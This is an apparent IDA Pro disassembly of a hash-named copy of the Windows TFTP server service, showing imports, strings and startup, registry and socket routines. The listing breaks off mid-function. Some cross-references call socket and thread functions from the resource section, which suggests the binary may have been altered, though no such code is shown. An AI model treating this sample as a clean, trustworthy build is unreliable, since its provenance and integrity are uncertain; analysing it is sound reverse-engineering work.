; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6AB3A543A78F0B9E0884C71F2EB044CC ; File Name : u:\work\6ab3a543a78f0b9e0884c71f2eb044cc_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 1000000 ; Section 1. (virtual address 00001000) ; Virtual size : 00003310 ( 13072.) ; Section size in file : 00003400 ( 13312.) ; Offset to raw data for section: 00000600 ; Flags 60000020: Text Executable Readable ; Alignment : default ; ; Imports from ADVAPI32.dll ; include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Externs ; _idata ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p ; DATA XREF: sub_10037BF+20r ; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable) extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: sub_1001570+DBp ; DATA XREF: sub_1001570+DBr ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p ; sub_10037BF+99p ... ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p ; DATA XREF: sub_10037BF+143r ; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc) extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap ; DATA XREF: sub_1001665+4Ar ; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus) extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap ; sub_1001665+F7p ... ; ; Imports from KERNEL32.dll ; ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: sub_1001570+EDp ; DATA XREF: sub_1001570+EDr ; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize) extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p ; DATA XREF: sub_1003910+34r ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime) extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p ; DATA XREF: sub_1002A3D+35r ; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p ; DATA XREF: sub_1002901+48r ; void __stdcall SetLastError(DWORD dwErrCode) extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p ; sub_1002F31+1C3p ... ; BOOL __stdcall SetEvent(HANDLE hEvent) extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p ; DATA XREF: sub_1001E73+36r ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p ; DATA XREF: HandlerProc+38r ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: sub_1001570+E5p ; sub_1001665:loc_1001762p ... ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p ; sub_1001A91+1ABp ; DATA XREF: ... ; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep ; sub_1001665+89p ... ; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p ; sub_10018DB+19p ... ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p ; DATA XREF: sub_10019F0+23r ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p ; sub_1001A91+B5p ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p ; DATA XREF: sub_1001A1F+58r ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p ; sub_1001E73+A9p ... ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp ; sub_1001A91+4Ep ... ; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend) extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp ; sub_1001A91+2C1p ; DATA XREF: ... ; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p ; DATA XREF: sub_1001A91+158r ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p ; DATA XREF: sub_1001A91+93r ; BOOL __stdcall ResetEvent(HANDLE hEvent) extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p ; DATA XREF: sub_1001A91+75r ; void __stdcall Sleep(DWORD dwMilliseconds) extrn Sleep:dword ; CODE XREF: .text:01001D94p ; sub_100205A+4Ep ; DATA XREF: ... ; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p ; .text:01001D9Bp ; DATA XREF: ... ; DWORD __stdcall SuspendThread(HANDLE hThread) extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p ; .rsrc:0100F444p ; DATA XREF: ... ; ; Imports from MSVCRT.dll ; extrn __imp__initterm:dword ; DATA XREF: _inittermr extrn __getmainargs:dword ; CODE XREF: .text:01003B18p ; DATA XREF: .text:01003B18r extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p ; DATA XREF: .text:01003AD8r extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p ; sub_1002F31+20Ap ; DATA XREF: ... extrn _close:dword ; CODE XREF: sub_1002953+11p ; DATA XREF: sub_1002953+11r extrn _read:dword ; CODE XREF: sub_10027E1+63p ; DATA XREF: sub_10027E1+63r ; void *__cdecl malloc(size_t Size) extrn malloc:dword ; CODE XREF: sub_1001FA6+30p ; sub_100205A+93p ... ; void *__cdecl realloc(void *Memory, size_t NewSize) extrn realloc:dword ; CODE XREF: sub_1001FA6+55p ; DATA XREF: sub_1001FA6+55r ; int __cdecl fclose(FILE *File) extrn fclose:dword ; CODE XREF: sub_1001E73+CDp ; DATA XREF: sub_1001E73+CDr ; void __cdecl free(void *Memory) extrn free:dword ; CODE XREF: sub_10018DB+75p ; sub_1001F54+47p ... ; time_t __cdecl time(time_t *Time) extrn time:dword ; CODE XREF: sub_1001665+114p ; HandlerProc+8p ; DATA XREF: ... extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp ; sub_1001665+1BEp ; DATA XREF: ... ; int *__cdecl errno() extrn _errno:dword ; CODE XREF: sub_1001665+1A7p ; sub_10027E1+7Dp ... extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp ; DATA XREF: sub_1001665+1AEr ; FILE *__cdecl fopen(const char *Filename, const char *Mode) extrn fopen:dword ; CODE XREF: sub_1001665+1DBp ; DATA XREF: sub_1001665+1DBr ; char *__cdecl ctime(const time_t *Time) extrn ctime:dword ; CODE XREF: sub_1001665+1F7p ; HandlerProc+19p ; DATA XREF: ... ; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask) extrn __imp__controlfp:dword ; DATA XREF: _controlfpr extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r extrn __set_app_type:dword ; CODE XREF: .text:01003A7Fp ; DATA XREF: .text:01003A7Fr extrn __p__fmode:dword ; CODE XREF: .text:01003A9Cp ; DATA XREF: .text:01003A9Cr extrn __p__commode:dword ; CODE XREF: .text:01003AAAp ; DATA XREF: .text:01003AAAr extrn _adjust_fdiv:dword ; DATA XREF: .text:01003AB8r ; int printf(const char *Format, ...) extrn printf:dword ; CODE XREF: sub_1001570+52p ; sub_1001570+5Fp ... extrn __p___initenv:dword ; CODE XREF: .text:01003B33p ; DATA XREF: .text:01003B33r extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr ; void __cdecl exit(int Code) extrn _exit:dword ; CODE XREF: .text:01003B7Ap ; DATA XREF: .text:01003B7Ar extrn _open:dword ; CODE XREF: sub_1002F31+1A6p ; sub_100333A+1B9p ; DATA XREF: ... extrn _write:dword ; CODE XREF: sub_100373A+5Bp ; DATA XREF: sub_100373A+5Br ; void __cdecl exit(int Code) extrn exit:dword ; CODE XREF: sub_1001570+CFp ; sub_1001665+C0p ... ; ; Imports from WS2_32.dll ; ; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags) extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p ; .rsrc:0100F475p ; DATA XREF: ... ; int __stdcall WSAGetLastError() extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p ; sub_1001A91+12Bp ... ; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData) extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p ; DATA XREF: sub_1001665+A6r ; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents) extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp ; DATA XREF: sub_100188E+Cr ; u_short __stdcall htons(u_short hostshort) extrn htons:dword ; CODE XREF: sub_1001A91+1D2p ; sub_100230A+18p ... ; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags) extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep ; DATA XREF: sub_1001A91+18Er ; u_short __stdcall ntohs(u_short netshort) extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep ; sub_1002A3D+40p ... ; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp ; DATA XREF: sub_1001A91+10Fr ; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp) extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap ; DATA XREF: sub_1001A91+2Ar ; BOOL __stdcall WSACloseEvent(HANDLE hEvent) extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp ; DATA XREF: sub_1001F54+1Cr ; int __stdcall closesocket(SOCKET s) extrn closesocket:dword ; CODE XREF: sub_1001F54+13p ; sub_100205A+E7p ... ; char *__stdcall inet_ntoa(struct in_addr in) extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p ; sub_1002F31+64p ... ; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen) extrn bind:dword ; CODE XREF: sub_100205A+7Ap ; sub_1002F31+256p ... ; struct servent *__stdcall getservbyname(const char *name, const char *proto) extrn getservbyname:dword ; CODE XREF: sub_100205A+37p ; DATA XREF: sub_100205A+37r ; SOCKET __stdcall socket(int af, int type, int protocol) extrn socket:dword ; CODE XREF: sub_1002F31+22Ep ; sub_100333A+1EBp ; DATA XREF: ... ; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen) extrn sendto:dword ; CODE XREF: sub_100230A+B6p ; sub_1002A3D+65p ... ; ; Imports from iphlpapi.dll ; ; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped) extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger ; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder) extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler ; ; Imports from ntdll.dll ; ; void *__cdecl memmove(void *Dst, const void *Src, size_t Size) extrn memmove:dword ; CODE XREF: sub_100273D+72p ; DATA XREF: sub_100273D+72r ; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count) extrn strncpy:dword ; CODE XREF: sub_1003910+24p ; DATA XREF: sub_1003910+24r ; int __cdecl isupper(int C) extrn isupper:dword ; CODE XREF: sub_100333A+86p ; DATA XREF: sub_100333A+86r ; int __cdecl tolower(int C) extrn tolower:dword ; CODE XREF: sub_1002F31+88p ; sub_100333A+95p ; DATA XREF: ... extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp ; sub_1002B5E+114p ... extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p ; sub_1002A3D+FDp ... ; int __cdecl stricmp(const char *Str1, const char *Str2) extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p ; sub_10023D8+C6p ... ; int __cdecl atoi(const char *Str) extrn atoi:dword ; CODE XREF: sub_10023D8+81p ; sub_10023D8+F2p ; DATA XREF: ... ; char *__cdecl itoa(int Val, char *DstBuf, int Radix) extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p ; DATA XREF: sub_10023D8:loc_1002597r extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap ; sub_1002901+35p ; DATA XREF: ... extrn __imp__chkstk:dword ; DATA XREF: _chkstkr extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p ; DATA XREF: sub_10018DB+81r extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p ; sub_10018DB+D6p ; DATA XREF: ... extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p ; sub_1002F31+34Dp ... ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 100117Ch assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 2 dup(0) dd 37ECADD7h, 0 dd 4, 110h, 0 dd 4C00h, 0 dd 37ECADD7h, 0 dd 3, 310h, 0 dd 4D10h, 0 dd 37ECADD7h, 0 dd 6, 2 dup(0) dd 5020h, 0 dd 37ECADD7h, 0 dd 2, 1Ah, 0 db 90h db 0FEh, 0A7h, 0FFh aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999' db ' 22:17:18',0Ah,0 ; char aOWritableFiles[] aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o ; char aWritable[] aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo ; sub_10037BF+121o align 4 ; char aOReadableFiles[] aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o ; char aReadable[] aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o ; sub_10037BF+F1o align 4 ; char aOValidmastersK[] aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o ; char aMasters[] aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o ; sub_10037BF+C1o ; char aOValidclientsK[] aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao ; char aClients[] aClients db 'clients',0 ; DATA XREF: sub_1001570+95o ; sub_10037BF+8Eo ; char aTheseKeysAreSh[] aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah ; DATA XREF: sub_1001570+8Do db 0 align 4 ; char aOStartdirector[] aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o ; char ValueName[] ValueName db 'directory',0 ; DATA XREF: sub_1001570+7Fo ; sub_10037BF+5Co align 4 ; char aRegistryKeyNam[] aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0 ; DATA XREF: sub_1001570+76o ; char SubKey[] SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0 ; DATA XREF: sub_1001570+71o ; sub_10037BF+13o align 10h ; char aTftpd_logfileI[] aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o db 0Ah,0 align 4 ; char Filename[] Filename db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o ; sub_1001665+1D6o align 4 ; char aTftpd_default_[] aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao align 4 ; char Source[] Source db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o ; sub_1003910+1Eo a? db '-?',0 ; DATA XREF: sub_1001570+10o align 4 ; char Mode[] Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o align 4 ; char name[] name db 'tftp',0 ; DATA XREF: sub_100205A+31o align 10h ; char proto[] proto db 'udp',0 ; DATA XREF: sub_100205A+2Co aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o align 10h aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo align 10h aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o align 10h aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo align 4 aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o align 4 aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o align 4 aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o ; char aTsize[] aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao align 10h ; char aTimeout_0[] aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o ; char Str2[] Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o ; sub_100333A+201o ... align 10h aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o ; sub_100333A+1A0o align 4 aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o ; sub_100333A+159o aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o ; sub_100333A:loc_100341Fo align 10h aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo ; sub_100333A:loc_10033E1o align 4 asc_100155C: ; DATA XREF: sub_1003910+7Fo unicode 0, <\>,0 dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_1001570 proc near ; CODE XREF: .text:01003B4Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 1 push esi jle loc_1001646 mov eax, [esp+4+arg_4] mov esi, offset a? ; "-?" mov eax, [eax+4] loc_1001588: ; CODE XREF: sub_1001570+34j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_10015AA test cl, cl jz short loc_10015A6 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_10015AA inc eax inc eax inc esi inc esi test cl, cl jnz short loc_1001588 loc_10015A6: ; CODE XREF: sub_1001570+22j xor eax, eax jmp short loc_10015AF ; --------------------------------------------------------------------------- loc_10015AA: ; CODE XREF: sub_1001570+1Ej ; sub_1001570+2Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_10015AF: ; CODE XREF: sub_1001570+38j test eax, eax jnz loc_1001646 mov esi, ds:printf push offset Format ; " ======================================"... call esi ; printf pop ecx push offset Source ; "\\tftpdroot\\" push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n" call esi ; printf pop ecx pop ecx push offset Filename ; "tftpd.log" push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n" call esi ; printf pop ecx pop ecx push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"... push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"... call esi ; printf pop ecx pop ecx push offset ValueName ; "directory" push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"... call esi ; printf pop ecx push offset aClients ; "clients" push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aMasters ; "masters" push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aReadable ; "readable" push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aWritable ; "writable" push offset aOWritableFiles ; " o writable files keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push 0FFFFFFFFh ; Code call ds:exit ; exit ; --------------------------------------------------------------------------- pop ecx loc_1001646: ; CODE XREF: sub_1001570+6j ; sub_1001570+41j push offset ServiceStartTable ; lpServiceStartTable call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA test eax, eax jnz short loc_100165B call ds:GetLastError loc_100165B: ; CODE XREF: sub_1001570+E3j push 0 ; uExitCode call ds:ExitProcess ; ExitProcess sub_1001570 endp ; --------------------------------------------------------------------------- pop esi retn ; =============== S U B R O U T I N E ======================================= sub_1001665 proc near ; DATA XREF: .data:ServiceStartTableo arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp push esi push edi xor ebp, ebp push offset HandlerProc ; lpHandlerProc push offset ServiceName ; "Tftpd" mov ServiceStatus.dwServiceType, 30h mov ServiceStatus.dwCurrentState, 2 mov ServiceStatus.dwControlsAccepted, ebp mov ServiceStatus.dwCheckPoint, 1 mov ServiceStatus.dwWaitHint, 4E20h mov ServiceStatus.dwWin32ExitCode, ebp mov ServiceStatus.dwServiceSpecificExitCode, ebp call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA cmp eax, ebp mov hServiceStatus, eax jz loc_1001762 mov esi, ds:SetServiceStatus mov edi, offset ServiceStatus push edi ; lpServiceStatus push eax ; hServiceStatus call esi ; SetServiceStatus cmp eax, ebp jz loc_1001762 mov ebx, ds:CreateEventA push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes call ebx ; CreateEventA push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes mov hHandle, eax call ebx ; CreateEventA cmp hHandle, ebp mov hObject, eax jz short loc_100171C cmp eax, ebp jz short loc_100171C push offset stru_1006140 ; lpWSAData push 101h ; wVersionRequested call ds:WSAStartup ; WSAStartup cmp eax, 0FFFFFFFFh jnz short loc_1001735 call ds:WSAGetLastError ; WSAGetLastError loc_100171C: ; CODE XREF: sub_1001665+96j ; sub_1001665+9Aj ... push 1Fh call sub_1001E73 push 1 ; Code call ds:exit ; exit ; --------------------------------------------------------------------------- pop ecx loc_100172C: ; CODE XREF: sub_1001665+218j ; sub_1001665+224j pop edi pop esi pop ebp xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_1001735: ; CODE XREF: sub_1001665+AFj push edi ; lpServiceStatus mov ServiceStatus.dwCurrentState, 4 push hServiceStatus ; hServiceStatus mov ServiceStatus.dwControlsAccepted, 7 mov ServiceStatus.dwCheckPoint, ebp mov ServiceStatus.dwWaitHint, ebp call esi ; SetServiceStatus cmp eax, ebp jnz short loc_100176A loc_1001762: ; CODE XREF: sub_1001665+57j ; sub_1001665+6Ej call ds:GetLastError jmp short loc_100171C ; --------------------------------------------------------------------------- loc_100176A: ; CODE XREF: sub_1001665+FBj push 9 pop ecx xor eax, eax mov edx, offset Time mov edi, edx rep stosd push edx ; Time call ds:time ; time pop ecx mov edx, [esp+10h+arg_0] dec edx mov ebx, (offset dword_1005E07+1) jz short loc_10017F3 mov eax, [esp+10h+arg_4] lea eax, [eax+edx*4] mov [esp+10h+arg_0], eax loc_1001797: ; CODE XREF: sub_1001665+18Cj mov eax, [esp+10h+arg_0] mov eax, [eax] cmp byte ptr [eax], 2Dh jnz short loc_10017F3 movsx ecx, byte ptr [eax+1] sub ecx, 64h jz short loc_10017C9 dec ecx jz short loc_10017BD dec ecx jnz short loc_10017E9 mov dword_1005DD8, 1 jmp short loc_10017E9 ; --------------------------------------------------------------------------- loc_10017BD: ; CODE XREF: sub_1001665+147j mov dword_1005DD4, 1 jmp short loc_10017E9 ; --------------------------------------------------------------------------- loc_10017C9: ; CODE XREF: sub_1001665+144j lea edi, [eax+2] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_10017E9: ; CODE XREF: sub_1001665+14Aj ; sub_1001665+156j ... sub [esp+10h+arg_0], 4 dec edx cmp edx, ebp ja short loc_1001797 loc_10017F3: ; CODE XREF: sub_1001665+125j ; sub_1001665+13Bj call sub_10037BF call sub_1003910 mov esi, ds:_chdir push ebx call esi ; _chdir cmp eax, 0FFFFFFFFh pop ecx jnz short loc_100182E call ds:_errno ; _errno push ebx call ds:_mkdir ; _mkdir cmp eax, ebp pop ecx jnz loc_100171C push ebx call esi ; _chdir cmp eax, ebp pop ecx jnz loc_100171C loc_100182E: ; CODE XREF: sub_1001665+1A5j cmp dword_1005DD8, ebp jz short loc_1001857 push offset Mode ; "a+" push offset Filename ; "tftpd.log" call ds:fopen ; fopen pop ecx cmp eax, ebp pop ecx mov File, eax jnz short loc_1001857 mov dword_1005DD8, ebp loc_1001857: ; CODE XREF: sub_1001665+1CFj ; sub_1001665+1EAj push offset Time ; Time call ds:ctime ; ctime pop ecx call sub_10018DB call sub_10019F0 push 0FFFFFFFFh ; dwMilliseconds push hHandle ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject cmp eax, ebp jz loc_100172C call ds:GetLastError jmp loc_100172C sub_1001665 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char) sub_100188E proc near ; CODE XREF: sub_100205A+D5p ; sub_1002F31+2A8p ... var_4 = dword ptr -4 s = dword ptr 8 hEventObject = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push 3 ; lNetworkEvents push [ebp+hEventObject] ; hEventObject push [ebp+s] ; s call ds:WSAEventSelect ; WSAEventSelect test eax, eax jz short loc_10018AE call ds:GetLastError xor eax, eax jmp short locret_10018D7 ; --------------------------------------------------------------------------- loc_10018AE: ; CODE XREF: sub_100188E+14j test [ebp+arg_8], 1 push 0 push 0FFFFFFFFh push [ebp+s] jz short loc_10018C2 push offset loc_1001D74 jmp short loc_10018C7 ; --------------------------------------------------------------------------- loc_10018C2: ; CODE XREF: sub_100188E+2Bj push offset loc_1001DDB loc_10018C7: ; CODE XREF: sub_100188E+32j push [ebp+hEventObject] lea eax, [ebp+var_4] push eax call ds:RtlRegisterWait ; RtlRegisterWait mov eax, [ebp+var_4] locret_10018D7: ; CODE XREF: sub_100188E+1Ej leave retn 0Ch sub_100188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp Memory = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ds:InitializeCriticalSection push edi push offset CriticalSection ; lpCriticalSection call esi ; InitializeCriticalSection push offset stru_1006020 ; lpCriticalSection call esi ; InitializeCriticalSection mov eax, offset dword_1006098 mov dword_100609C, eax mov dword_1006098, eax mov eax, offset Memory mov dword_100603C, eax mov Memory, eax lea eax, [ebp+Memory] push eax call sub_1001FA6 xor esi, esi test eax, eax jnz short loc_1001957 mov eax, [ebp+Memory] xor ebx, ebx cmp [eax], esi jbe short loc_100194F xor edi, edi loc_100192E: ; CODE XREF: sub_10018DB+72j mov ecx, [eax+edi+4] cmp ecx, esi jz short loc_1001947 cmp ecx, 100007Fh jz short loc_1001947 push ecx ; in call sub_100205A mov eax, [ebp+Memory] loc_1001947: ; CODE XREF: sub_10018DB+59j ; sub_10018DB+61j inc ebx add edi, 18h cmp ebx, [eax] jb short loc_100192E loc_100194F: ; CODE XREF: sub_10018DB+4Fj push eax ; Memory call ds:free ; free pop ecx loc_1001957: ; CODE XREF: sub_10018DB+46j push offset dword_10060A0 call ds:RtlCreateTimerQueue 